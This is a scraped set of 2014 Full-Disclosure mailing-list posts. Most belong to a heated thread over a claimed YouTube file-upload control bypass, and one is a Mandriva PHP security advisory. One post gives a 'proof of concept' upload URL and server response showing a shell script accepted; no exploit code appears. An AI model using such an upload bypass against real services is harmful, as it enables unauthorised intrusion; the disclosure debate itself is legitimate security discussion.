[1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the
Re: [Full-disclosure] Google vulnerabilities with PoC
We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___
Re: [Full-disclosure] Google vulnerabilities with PoC
Nicholas Lemonias. wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. LOL you mean 1, maybe 2 hours, you need to write (and test) a Ruby/Python script. I don't know your hourly rate, but wouldn't that be like 200$? Is that really worth? Also, the point that this 'bug' counts as a valid finding when you do pentests, well it's a long story. If you see reports from the big4 companies, you can always notice info findings as in TRACE enabled (you can't 'exploit' that through XHR from years anyways), but simply you wouldn't expect Google to pay you for such a bug. Same with this bug. Cheers antisnatchor On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic chance of such a negative outcome, 4) The behavior must introduce substantial new risks that go beyond the previously accepted trade-offs. If we don't have that, we usually don't have a case, no matter how clever the bug is. Cheers (and happy hunting!), /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Cheers Michele ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Jerome of Mcafee has made a very valid point on revisiting separation of duties in this security instance. Happy to see more professionals with some skills. Some others have also mentioned the feasibility for Denial of Service attacks. Remote code execution by Social Engineering is also a prominent scenario. If you can't tell that that is a vulnerability (probably coming from a bunch of CEH's), I feel sorry for those consultants. Nicholas. On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic
Re: [Full-disclosure] Google vulnerabilities with PoC
Live Proof Of Concept == http://upload.youtube.com/?authuser=0upload_id= AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1-- uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin= CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url: http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id= AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1-- uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000 ,cross_domain_url:http://upload.youtube.com/?authuser=0\u0026upload_id= AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1-- uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin= CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status: ok, video_id: KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}} The above proof of concept demonstrates : 1. We have bypassed the security controls in Youtube and uploaded an unexpected file type. 2. The file is persistent and has not been deleted by YouTube. 3. It can be queried for information since it is assigned a unique upload_id. 4. It's successfully uploaded to youtube.com As you can see it give out the total bytes written to the remote network. 5. content_type:text/x-sh}] --- The file is a shell script script named 'file' 6. It can be enumerated by a non-authenticated user, remotely. So that is a proof that the data are persistent. On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com wrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking!
[Full-disclosure] [ MDVSA-2014:059 ] php
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2014:059 http://www.mandriva.com/en/support/security/ ___ Package : php Date: March 14, 2014 Affected: Business Server 1.0 ___ Problem Description: Multiple vulnerabilities has been discovered and corrected in php: Fixed bug #66731 (file: infinite recursion (CVE-2014-1943)). Fixed bug #66820 (out-of-bounds memory access in fileinfo (CVE-2014-2270)). Fixed bug #66815 (imagecrop(): insufficient fix for NULL defer (CVE-2013-7327)). The updated php packages have been upgraded to the 5.5.10 version which is not vulnerable to these issues. The php-xdebug packages has been upgraded to the latest 2.2.4 version that resolves numerous upstream bugs. Additionally, the PECL packages which requires so has been rebuilt for php-5.5.10. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1943 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2270 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7327 http://www.php.net/ChangeLog-5.php#5.5.10 https://bugs.php.net/bug.php?id=66731 https://bugs.php.net/bug.php?id=66820 https://bugs.php.net/bug.php?id=66815 http://pecl.php.net/package-changelog.php?package=xdebugrelease=2.2.4 ___ Updated Packages: Mandriva Business Server 1/X86_64: 24737449ee336d5e9824e2f2ae543292 mbs1/x86_64/apache-mod_php-5.5.10-1.1.mbs1.x86_64.rpm 0b922c54fa9223fecc8d35a5c7c8599e mbs1/x86_64/lib64php5_common5-5.5.10-1.1.mbs1.x86_64.rpm 7ee561479c57d59fd98a5501e9586500 mbs1/x86_64/php-apc-3.1.15-1.4.mbs1.x86_64.rpm eb7de5759296f86517f5edfd9d4436ca mbs1/x86_64/php-apc-admin-3.1.15-1.4.mbs1.x86_64.rpm a1d9c94696da01a54ef8fdc514e87eeb mbs1/x86_64/php-bcmath-5.5.10-1.1.mbs1.x86_64.rpm 1b2cd506955bff2be731071a094c722f mbs1/x86_64/php-bz2-5.5.10-1.1.mbs1.x86_64.rpm 8960e53771c38895428275376133ad80 mbs1/x86_64/php-calendar-5.5.10-1.1.mbs1.x86_64.rpm 76ae075f4cb8bbd735289a6c1d06fd7a mbs1/x86_64/php-cgi-5.5.10-1.1.mbs1.x86_64.rpm 12b695df15e1f8cb7b0a4dfe6c9aa088 mbs1/x86_64/php-cli-5.5.10-1.1.mbs1.x86_64.rpm f8f5f6b8ed7afaffe4893ee713198f96 mbs1/x86_64/php-ctype-5.5.10-1.1.mbs1.x86_64.rpm 1950d33f015eefc8014070526758ee8e mbs1/x86_64/php-curl-5.5.10-1.1.mbs1.x86_64.rpm 9497d5da046377151644e93733cb074e mbs1/x86_64/php-dba-5.5.10-1.1.mbs1.x86_64.rpm ac662e5ef7059d81cccb62c7bbe97901 mbs1/x86_64/php-devel-5.5.10-1.1.mbs1.x86_64.rpm 87a743ba4947af120c24da6115c7e6db mbs1/x86_64/php-doc-5.5.10-1.1.mbs1.noarch.rpm b941027ff5051dc2811b4263f6bf20b1 mbs1/x86_64/php-dom-5.5.10-1.1.mbs1.x86_64.rpm 77c456007f9d6e330bfa514dc7e2c71c mbs1/x86_64/php-enchant-5.5.10-1.1.mbs1.x86_64.rpm e14bbbfe6cbd0027eb92f2de676bda2b mbs1/x86_64/php-exif-5.5.10-1.1.mbs1.x86_64.rpm 016db3c40dafc614f69ed163870d0ba9 mbs1/x86_64/php-fileinfo-5.5.10-1.1.mbs1.x86_64.rpm 800722c1127bf7f835fed88d5805612a mbs1/x86_64/php-filter-5.5.10-1.1.mbs1.x86_64.rpm c25709c616879f64ca095493a250e49a mbs1/x86_64/php-fpm-5.5.10-1.1.mbs1.x86_64.rpm dd3b14133c3e5e299976709acaba36f1 mbs1/x86_64/php-ftp-5.5.10-1.1.mbs1.x86_64.rpm 33285cc7d2f89640c84a89c2d78d4c1c mbs1/x86_64/php-gd-5.5.10-1.1.mbs1.x86_64.rpm 98815ed19f6a439995c257c86d3fd8e7 mbs1/x86_64/php-gettext-5.5.10-1.1.mbs1.x86_64.rpm 2c34c8d28d2bcf105deced29a743ce10 mbs1/x86_64/php-gmp-5.5.10-1.1.mbs1.x86_64.rpm 66f17761f797c9ba5b9f64359df0e444 mbs1/x86_64/php-hash-5.5.10-1.1.mbs1.x86_64.rpm a9679cf58298c91fe11e9065888f3ecf mbs1/x86_64/php-iconv-5.5.10-1.1.mbs1.x86_64.rpm 44c8fd8cbd7a749ce405eafcb5cfaba0 mbs1/x86_64/php-imap-5.5.10-1.1.mbs1.x86_64.rpm de60f25c3e3da02a1ed96ea3c6b7d146 mbs1/x86_64/php-ini-5.5.10-1.1.mbs1.x86_64.rpm 674171b2daf508b7709ec0fa39f3dadb mbs1/x86_64/php-intl-5.5.10-1.1.mbs1.x86_64.rpm b4b75e252c03be45e1ea42d93cbb559d mbs1/x86_64/php-json-5.5.10-1.1.mbs1.x86_64.rpm 10071e1f44d3ec6500559211168c3b4a mbs1/x86_64/php-ldap-5.5.10-1.1.mbs1.x86_64.rpm 4b7e7d0a0b6adcca257a2fd124e62c58 mbs1/x86_64/php-mbstring-5.5.10-1.1.mbs1.x86_64.rpm 19345fe51062884bd7c9ff80f49dcbdb mbs1/x86_64/php-mcrypt-5.5.10-1.1.mbs1.x86_64.rpm e2a844b656f9ab03b731ad2f272b5d2b mbs1/x86_64/php-mssql-5.5.10-1.1.mbs1.x86_64.rpm 4fcf706c941176818fdfc995fba8209c mbs1/x86_64/php-mysql-5.5.10-1.1.mbs1.x86_64.rpm 46c3635f1e79e351b2d63d7be993557b mbs1/x86_64/php-mysqli-5.5.10-1.1.mbs1.x86_64.rpm 6b652b39093992140614a97e4633ee52 mbs1/x86_64/php-mysqlnd-5.5.10-1.1.mbs1.x86_64.rpm d8712b4ec5533dd53c3e1a6854a41612 mbs1/x86_64/php-odbc-5.5.10-1.1.mbs1.x86_64.rpm 58da4457f76d98468fbc2216a82a6210
Re: [Full-disclosure] Google vulnerabilities with PoC
Dear Nicholas Lemonias, I don't use to get in these scrapy discussions, but yeah you are in a completetly different level if you compare yourself with Mario. You are definitely a Web app/metasploit-user guy and pick up a discussion with a binary and memory corruption ninja exploit writter like Mario. You should know your place and shut up. Period. Btw, if you dare discussing with a beast like lcamtuf, you are definitely out of your mind. Cheers, Sergio. -- Sergio On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't want it to do. In this spirit, the term vulnerability is generally reserved for behaviors that meet all of the following criteria: 1) The behavior must have negative consequences for at least one of the legitimate stakeholders (users, service owners, etc), 2) The consequences must be widely seen as unexpected and unacceptable, 3) There must be a realistic
[Full-disclosure] Fwd: Google vulnerabilities with PoC
Go to sleep. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Fri, Mar 14, 2014 at 2:16 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Sergio 'shadown' Alvarez shad...@gmail.com Go to sleep On Fri, Mar 14, 2014 at 1:50 PM, Sergio 'shadown' Alvarez shad...@gmail.com wrote: Dear Nicholas Lemonias, I don't use to get in these scrapy discussions, but yeah you are in a completetly different level if you compare yourself with Mario. You are definitely a Web app/metasploit-user guy and pick up a discussion with a binary and memory corruption ninja exploit writter like Mario. You should know your place and shut up. Period. Btw, if you dare discussing with a beast like lcamtuf, you are definitely out of your mind. Cheers, Sergio. -- Sergio On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com wrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and Risk Analysis So I would probably have reported this Finding as a Weakness (and not Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not Best Practice (your OWASP link and Cheat Sheets), and even if mitigative/compensative security controls (Ref Orange Book), security controls like white listing (or at least black listing. see also ESAPI) should be 1) part of the [1]security requirements of a proper SDLC (Build security in) as per Defense-in-Depth security principles and 2) used and implemented correctly. NB: A simple Threat Model (i.e. list of CAPEC) would be a solid support to your report This would help to evaluate/measure the risk (e.g. CVSS). Helping the decision/actions around this risk PS: interestingly, in this case, I'm not sure that the Separation of Duties security principle was applied correctly by Google in term of Risk Acceptance (which could be another Finding) So in few words, be careful with the terminology. (don't always say vulnerability like the media say hacker, see RFC1392) Use a CWE ID (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616) My 2 bitcents Sorry if it is not edible :) Happy Hacking! /JA https://github.com/athiasjerome/XORCISM 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx: Nicholas, I remember my early years in the infosec community - and sadly, so do some of the more seasoned readers of this list :-) Back then, I thought that the only thing that mattered is the ability to find bugs. But after some 18 years in the industry, I now know that there's an even more important and elusive skill. That skill boils down to having a robust mental model of what constitutes a security flaw - and being able to explain your thinking to others in a precise and internally consistent manner that convinces others to act. We need this because the security of a system can't be usefully described using abstract terms: even the academic definitions ultimately boil down to saying the system is secure if it doesn't do the things we *really* don't